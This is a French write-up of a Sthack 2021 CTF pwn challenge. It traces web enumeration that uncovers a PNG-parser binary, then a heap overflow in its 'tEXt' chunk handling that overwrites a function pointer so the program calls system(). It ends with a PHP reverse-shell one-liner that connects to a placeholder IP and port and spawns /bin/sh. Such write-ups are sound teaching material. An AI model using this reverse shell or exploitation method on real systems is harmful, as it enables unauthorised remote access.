Voici un compte-rendu du premier challenge de pwn proposé par l’édition 2021 du CTF de la Sthack à Bordeaux. C’est un challenge créé par ghozt et phenol. La particularité de ce challenge est de débuter par une partie web avant d’enchainer sur une partie pwn classique.
Étant donné que le challenge est dans la catégorie pwn, on peut s’attendre raisonnablement à trouver un binaire sur le site web.
Partie web
Au premier abord, le site est assez vide :
Une revue du code source de la page nous donne une information intéressante :
Une image pointant vers dev.img.local/troll.png
est censée être affichée, mais à cause d’un évident problème de routage (mon ordinateur ne connaissant pas le domaine dev.img.local
), c’est son champ alt qui est affiché à la place : “TROLLFACE :)”
On rajoute donc une entrée dans le fichier /etc/hosts
pour ce domaine pointant vers l’IP du serveur du challenge. On rafraîchit la page et l’image s’affiche correctement :
Essayons maintenant d’accéder directement au domaine dev.img.local pour déterminer si l’affichage proposé par le site web est identique :
Bingo ! On obtient une page différente. Le site nous indique qu’il garde les logs de son outil. Cette information nous sera utile par la suite. Pour le moment, nous pouvons analyser l’outil png_parser :
Un formulaire classique d’upload de fichier est disponible. On devine que le site attend qu’on lui donne une image au format PNG pour l’analyser. On lui en donne une poliment :
Le fichier est bien analysé, mais le résultat est vide. À ce moment du challenge, je ne savais pas vraiment pourquoi. On va voir par la suite que le png_parser attend une image avec certaines caractéristiques bien précises.
Continuons notre exploration du site. Nous avons vu précédemment que les logs de l’outil étaient conservés. Peut-être dans un dossier se nommant logs ?
Effectivement, un dossier logs
existe bel et bien. Il contient un fichier nommé log. Cette dernière étape ressemble un peu à du guessing, mais reste très facilement réalisable grâce à l’indice fourni précédemment :
For security purposes, I log everything about my tools thanks to my next gen XDR detection endpoint coming from future.
De plus, l’usage d’un outil comme dirb avec une wordlist standard aurait trouvé le dossier également.
Regardons le fichier log :
Il nous indique que le fichier a été analysé depuis /var/www/dev/png_analyze
. Le chemin contient www
, donc il est probable que la ressource se trouve sur le serveur web. Essayons d’y accéder :
Rien au chemin dev/png_analyze
, peut-être que le dossier dev est de trop dans le chemin, étant donné que l’on semble être déjà sur le domaine de développement :
Le site nous renvoie le fichier png_analyzer. Vérifions type de fichier que nous avons récupéré :
Nous avons donc trouvé un programme ELF, très probablement pour parser le fichier que l’on envoie dans le formulaire d’upload.
Partie binaire
On dispose donc maintenant d’un binaire. C’est un ELF 64-bit standard comme vu plus haut.
Les symboles sont encore présents (not stripped ), ce qui va faciliter la rétro-ingénierie.
Tout d’abord, on commence par regarder les protections associées au binaire :
Le programme n’est pas PIE, cela implique que les différentes sections du binaire ne seront pas soumises à l’ASLR, entre autres celle du code. C’est bon signe, car on devrait être mesure de se passer d’une fuite de mémoire pour l’exploitation, qui est souvent incontournable pour contrer l’ASLR.
Lorsqu’on lance l’application à vide, ou avec une image au format PNG, elle est peu verbeuse :
Seul un message d’erreur apparait indiquant que le dossier /var/www/dev/logs
n’existe pas. Ce qui est normal, car je n’ai pas de serveur web sur mon PC.
Avec une image au format JPEG, le binaire nous retourne une erreur :
Ouvrons le binaire avec Ghidra pour comprendre le fonctionnement de l’application :
Deux fonctions semblent particulièrement intéressantes : parse_png
, ainsi que analyse
.
La fonction parse_png
La fonction parse_png
vérifie d’abord s’il s’agit dune image au format PNG, puis une boucle se lance. Cette dernière va appeler une fonction parse_chunk
sur des petits morceaux de l’image.
Mais qu’est-ce qu’un chunk d’une image au format PNG ? Un petit tour sur Wikipédia s’impose. On y apprend que le format PNG est constitué de plusieurs chunks suivant la structure suivante :
D’abord, une longueur sur 4 bytes en big-endian. Elle spécifie la taille du 3eme champ : les données du chunk.
Le deuxième champ encode sur 4 bytes le type du chunk. Un chunk peut avoir différents types, par exemple le type “PLTE” contient la palette de couleur, et le type “IDAT” contient le contenu de l’image.
Le 4e champ est un contrôle d’intégrité du chunk (CRC).
Regardons la fonction parse_chunk
:
Le buffer alloué pour le chunk fait 0x2020
bytes. Un memcpy
vient copier les données du champ data dans le buffer précédemment alloué. Un problème de mémoire commence à pointer le bout du nez : on contrôle la taille des données du chunk via le champ “length”, et pouvons donc potentiellement envoyer une longueur plus grande que les 0x2020 bytes alloués pour le chunk.
Il nous manque cependant une information pour tester ce problème. Revenons à la fonction parse_png
:
On voit que le chunk parsé par parse_chunk
, qui se trouve dans la variable chunk_buf_ptr
est utilisé dans une condition. Si ce qui se trouve à la position chunk_buf_ptr + 4
(le champ type du chunk) vaut 0x74584574 (“tEXt” en ASCII) alors le chunk est ajouté à une variable chunks
, qui est elle-même retournée à la fin de la fonction (voir fonction parse_png
complète plus haut). Dans le cas contraire le chunk est free.
Note: Au moment du challenge, cette information m’a suffit pour avancer et résoudre le challenge, mais a posteriori en faisant ce compte-rendu je me suis aperçu que la variable
chunks
contenait en fait une liste chaînée de tous les chunks de type “tEXt” (les autres étant free comme dit plus haut).local_28
est utilisé comme une variable temporaire pour stocker le chunk en cours, etlocal_28 + 0x2018
stocke dans la structure du chunk en cours un pointeur vers le prochain chunk dans la liste chaînée. Mais ce n’est pas vraiment utile de comprendre le fonctionnement de cette liste chaînée car nous n’avons besoin que d’un seul et unique chunk dans notre image pour exploiter le binaire comme nous allons le voir par la suite.
On comprend donc qu’il va falloir mettre le type “tEXt” dans au moins un des types de chunk pour qu’il soit ajouté aux chunks analysés. Nous pouvons maintenant commencer à créer un png customisé pour tester ce problème. On opère via un script python :
On met 0x3000
“A” dans le champ data, bien supérieure aux 0x2020 alloués pour tester un éventuel dépassement de buffer.
De plus, on met une valeur absurde dans le CRC, car il ne semble pas vérifié dans le code, et cela est un bon moyen d’en être sûr.
On lance le binaire sur notre image :
L’application détecte une corruption dans le top chunk du heap, ce qui indique que notre intuition sur le débordement du buffer est avérée. Il faut se demander quelles données pertinentes nous pourrions écraser.
Notons que le CRC ne semble pas vérifié, aucun message d’erreur ne le concernant.
Un dernier regard à la fonction parse_chunk
nous met sur la piste :
La valeur placée à l’offset 0x804
du buffer ressemble beaucoup à une adresse du binaire.
Et en effet, à cette adresse se trouve une fonction étrange : do_nothing
On va voir plus loin à quoi elle sert (spoiler : à pas grand-chose à part rendre l’exploitation plus facile).
La fonction analyze
La fonction analyze
reprend les chunks un par un et affiche leurs différents champs.
Une ligne de la fonction attire l’attention :
Ce qui se trouve à l’offset 0x804
de notre chunk est exécuté en tant que fonction, et c’est précisément l’emplacement du pointeur de fonction do_nothing
qui a été placée dans la fonction parse_chunk
vue plus haut.
Pour confirmer que la fonction do_nothing
est bien appelée, plaçons un breakpoint dessus dans gdb et lançons le programme sur une image légitime :
Bingo, notre breakpoint est bien atteint.
L’exploitation se dessine : nous avons un dépassement de buffer dans le heap qui nous permet d’écraser tout ce qui se trouve après le buffer, et nous avons également un pointeur de fonction qui se trouve dans la structure. Peut-être que le pointeur de fonction se trouve juste après le buffer dans la structure ? Pour le vérifier, on tâtonne un peu sur la taille des données envoyées autour de 0x2020 (la taille allouée pour la structure), et un crash différent du précédent apparaît pour une taille de 0x2010 :
Ouvrons gdb pour voir si notre intuition est bonne, et que l’on a bien réécrit le pointeur de fonction do_nothing
. Pour cela on met un breakpoint juste avant l’appel au pointeur de fonction (le call rax
) :
Comme escompté, on a bien réécrit sur le pointeur de fonction. La prochaine instruction va call rax
, alors que la valeur de ce registre est 0x4141414141414141
, une valeur que l’on contrôle via les “AAAA…” rentrés dans le champ data du chunk.
Encore mieux, on peut voir que le registre rdi
, qui correspond au premier argument d’une fonction en architecture x86_64 sur linux, pointe également sur des “AAAA…”.
On utilise maintenant un pattern cyclique classique (avec pattern _create
de metasploit, ou directement via la classe cyclic de pwntools) pour isoler les offsets nous permettons de contrôler finement rax
et rdi
.
Une fois les offsets déterminés, il faut déterminer quelle fonction appeler. Ici, le choix est très simple : la fonction system
se trouve dans la plt, et nous pouvons contrôler son argument. On va donc pouvoir lancer la commande système de notre choix.
Voici le script python final pour un PoC en local :
Et le résultat :
Il ne reste plus qu’à modifier la commande utilisée par l’exploit pour obtenir un reverse shell. Ensuite, on dépose l’image et on exploite la vulnérabilité afin de récupérer le flag.
La commande netcat
n’est pas présente sur le serveur hébergeant l’application web, mais on peut raisonnablement supposer que PHP est installé.
On utilise donc un one-liner récupéré sur ce site :
php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'